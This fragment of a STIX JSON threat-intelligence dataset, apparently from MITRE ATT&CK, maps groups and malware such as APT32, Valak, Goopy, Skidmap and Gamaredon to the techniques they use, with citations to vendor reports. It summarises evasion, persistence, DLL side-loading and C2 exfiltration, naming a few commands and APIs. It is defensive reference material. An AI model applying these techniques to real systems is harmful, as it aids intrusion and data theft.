                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--8b2625de-8de9-4216-8805-d1e75093b098",
            "type": "relationship",
            "modified": "2020-06-18T17:29:43.758Z",
            "created": "2020-06-18T17:29:43.758Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has signed malware with self-signed certificates from fictitious and spoofed legitimate software companies.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--1576ad32-c7cc-45af-b39e-410d96a6f908",
            "type": "relationship",
            "modified": "2020-10-14T20:39:50.185Z",
            "created": "2020-06-18T17:45:26.363Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                },
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
                {
                    "source_name": "SentinelOne Valak June 2020",
                    "url": "https://assets.sentinelone.com/labs/sentinel-one-valak-i   ",
                    "description": "Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) has the ability to base64 encode and XOR encrypt strings.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)",
            "relationship_type": "uses",
            "id": "relationship--25b8b66a-a9d0-4400-8b41-dd12208a25de",
            "type": "relationship",
            "modified": "2020-08-31T14:56:42.556Z",
            "created": "2020-06-19T19:08:40.295Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                },
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
                {
                    "source_name": "SentinelOne Valak June 2020",
                    "url": "https://assets.sentinelone.com/labs/sentinel-one-valak-i   ",
                    "description": "Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) has the ability to exfiltrate data over the C2 channel.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)",
            "relationship_type": "uses",
            "id": "relationship--8ae91ec7-32ed-46a2-9bc2-1c7b856c3cc7",
            "type": "relationship",
            "modified": "2020-08-31T14:56:42.578Z",
            "created": "2020-06-19T19:08:40.368Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) has the ability to take screenshots on a compromised host.(Citation: Cybereason Valak May 2020)\t ",
            "relationship_type": "uses",
            "id": "relationship--5797b454-e7cc-45a3-9bf1-7708d7286531",
            "type": "relationship",
            "modified": "2020-06-19T19:08:40.372Z",
            "created": "2020-06-19T19:08:40.372Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                },
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                }
            ],
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                }
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                }
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                }
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                },
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                }
            ],
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                }
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                },
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                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
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                }
            ],
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                },
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                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
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                }
            ],
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                },
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                }
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                },
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                {
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            "description": "[APT32](https://attack.mitre.org/groups/G0050) has deployed tools after moving laterally using administrative accounts.(Citation: Cybereason Cobalt Kitty 2017)\t",
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                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used the <code>net view</code> command to show all shares available, including the administrative shares such as <code>C$</code> and <code>ADMIN$</code>.(Citation: Cybereason Cobalt Kitty 2017)",
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            "id": "relationship--3c3f5cdb-f2cd-4bab-8196-26f160b38a5e",
            "type": "relationship",
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                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) malware has used rundll32.exe to execute an initial infection process.(Citation: Cybereason Cobalt Kitty 2017)",
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                }
            ],
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                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                },
                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
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                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has disguised a Cobalt Strike beacon as a Flash Installer.(Citation: Cybereason Cobalt Kitty 2017)",
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
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            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) used the <code>IsDebuggerPresent</code>, <code>OutputDebugString</code>, and <code>SetLastError</code> APIs to avoid debugging. [Denis](https://attack.mitre.org/software/S0354) used <code>GetProcAddress</code> and <code>LoadLibrary</code> to dynamically resolve APIs. [Denis](https://attack.mitre.org/software/S0354) also used the <code>Wow64SetThreadContext</code> API as part of a process hollowing process.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--a51caaf6-3b9d-4953-9850-bf9217877644",
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            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
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                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) ran multiple system checks, looking for processor and register characteristics, to evade emulation and analysis.(Citation: Cybereason Cobalt Kitty 2017)",
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            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) replaces the nonexistent Windows DLL \"msfte.dll\" with its own malicious version, which is loaded by the SearchIndexer.exe and SearchProtocolHost.exe.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--70ed2026-90af-4236-8180-2c095bbce0fe",
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                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) has a version written in PowerShell.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--ad825dd4-a26c-4468-8c11-91124ef9042d",
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            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "external_references": [
                {
                    "source_name": "Anomali Rocke March 2019",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."
                }
            ],
            "description": "[Rocke](https://attack.mitre.org/groups/G0106) has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists.(Citation: Anomali Rocke March 2019)",
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            "id": "relationship--2107aab0-0191-46d1-abec-8d98ac916c21",
            "type": "relationship",
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                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to exfiltrate documents from infected systems.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to use cmd.exe to execute commands passed from an Outlook C2 channel.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--7d1e24d5-1405-4ade-a4f3-ddb946b46783",
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            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to delete emails used for C2 once the content has been copied.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--33e32e0a-571a-4eab-9ee4-dfe5747c3a72",
            "type": "relationship",
            "modified": "2020-06-29T21:37:55.910Z",
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        {
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            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--c81124ac-5df7-4443-9760-95208d19e599",
            "type": "relationship",
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        {
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            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has had null characters padded in its malicious DLL payload.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--fb5fc8e3-2dd8-49de-bd9a-ee19c2f7ef7f",
            "type": "relationship",
            "modified": "2020-06-29T21:37:55.942Z",
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        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to side-load malicious DLLs with legitimate applications from Kaspersky, Microsoft, and Google.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--cbf9284f-2f47-4d1f-b708-861b0e1e85b5",
            "type": "relationship",
            "modified": "2020-06-29T21:37:55.984Z",
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        {
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            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to maintain persistence by creating scheduled tasks set to run every hour.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--f230afd5-2186-4d97-94ce-5ce3face8bc6",
            "type": "relationship",
            "modified": "2020-06-29T21:37:55.983Z",
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        {
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            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to communicate with its C2 over DNS.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--00aa618f-bcfa-4649-8436-134f9d01e43c",
            "type": "relationship",
            "modified": "2020-06-29T21:37:55.941Z",
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        },
        {
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                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to communicate with its C2 over HTTP.(Citation: Cybereason Cobalt Kitty 2017)\t",
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                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has abused the PasswordChangeNotify to monitor for and capture account password changes.(Citation: Cybereason Cobalt Kitty 2017)",
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                }
            ],
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                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
                }
            ],
            "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to check if <code>/usr/sbin/setenforce</code> exists. This file controls what mode SELinux is in.(Citation: Trend Micro Skidmap) ",
            "relationship_type": "uses",
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                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
                }
            ],
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                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
                }
            ],
            "description": "[Skidmap](https://attack.mitre.org/software/S0468) has monitored critical processes to ensure resiliency.(Citation: Trend Micro Skidmap) ",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Trend Micro Skidmap",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
                }
            ],
            "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to download, unpack, and decrypt tar.gz files .(Citation: Trend Micro Skidmap) ",
            "relationship_type": "uses",
            "id": "relationship--952412b3-a7b1-402c-a92e-96830df4d14b",
            "type": "relationship",
            "modified": "2020-06-25T13:32:00.205Z",
            "created": "2020-06-22T14:58:06.602Z"
        },
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Trend Micro Skidmap",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
                }
            ],
            "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to download files on an infected host.(Citation: Trend Micro Skidmap) ",
            "relationship_type": "uses",
            "id": "relationship--1eb0fe9c-86e9-4c8c-8a24-c7b139559971",
            "type": "relationship",
            "modified": "2020-06-25T13:32:00.200Z",
            "created": "2020-06-22T14:58:06.604Z"
        },
        {
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            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a tool to query Active Directory using LDAP, discovering information about computers listed in AD.(Citation: ESET Telebots Dec 2016)",
            "relationship_type": "uses",
            "id": "relationship--42d2f7f0-9548-4bdd-9e88-7200a9e91b57",
            "type": "relationship",
            "modified": "2020-06-22T15:45:19.036Z",
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        {
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            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
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                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has inserted malicious macros into existing documents, providing persistence when they are reopened. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has loaded the group's previously delivered VBA project by relaunching Microsoft Outlook with the <code>/altvba</code> option, once the Application.Startup event is received.(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
            "id": "relationship--f78a5009-59ec-4ae2-89a0-44b8be49a140",
            "type": "relationship",
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                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used <code>cmd.exe /c</code> to execute files.(Citation: Medium Metamorfo Apr 2020) ",
            "relationship_type": "uses",
            "id": "relationship--c7735813-64b9-47ba-8d98-81e7bfc25a80",
            "type": "relationship",
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        {
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            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Microsoft Holmium June 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used VBScript to initiate the delivery of payloads.(Citation: Microsoft Holmium June 2020)",
            "relationship_type": "uses",
            "id": "relationship--e0d647cf-69a0-416f-8db4-cfd72fbd6ad3",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65",
            "external_references": [
                {
                    "source_name": "Microsoft Holmium June 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used compromised Office 365 accounts in tandem with [Ruler](https://attack.mitre.org/software/S0358) in an attempt to gain control of endpoints.(Citation: Microsoft Holmium June 2020)",
            "relationship_type": "uses",
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        {
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            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
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                {
                    "source_name": "Microsoft Holmium June 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has sent spearphishing e-mails with archive attachments.(Citation: Microsoft Holmium June 2020)",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-06-22T20:15:32.216Z",
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        {
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            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "Microsoft Holmium June 2020",
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                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used malicious e-mail attachments to lure victims into executing malware.(Citation: Microsoft Holmium June 2020)",
            "relationship_type": "uses",
            "id": "relationship--ed0428f5-d354-4827-8f9a-95177ce0a1cb",
            "type": "relationship",
            "modified": "2020-06-22T20:15:32.208Z",
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        {
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            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455)'s C2 communication has been encrypted using OpenSSL.(Citation: Medium Metamorfo Apr 2020) ",
            "relationship_type": "uses",
            "id": "relationship--104334fa-4d32-48ab-a55d-c481ce7c4cd3",
            "type": "relationship",
            "modified": "2020-10-22T01:34:58.157Z",
            "created": "2020-06-22T20:34:05.348Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                },
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used MSI to download files for execution.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)",
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
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                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
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                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
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                }
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                }
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                }
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
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            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware has used <code>CreateProcess</code> to launch additional malicious components.(Citation: ESET Gamaredon June 2020)",
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            "description": "[Rising Sun](https://attack.mitre.org/software/S0448) has used HTTP for command and control.(Citation: McAfee Sharpshooter December 2018)",
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                }
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            "description": "[Avenger](https://attack.mitre.org/software/S0473) can identify the domain of the compromised host.(Citation: Trend Micro Tick November 2019)",
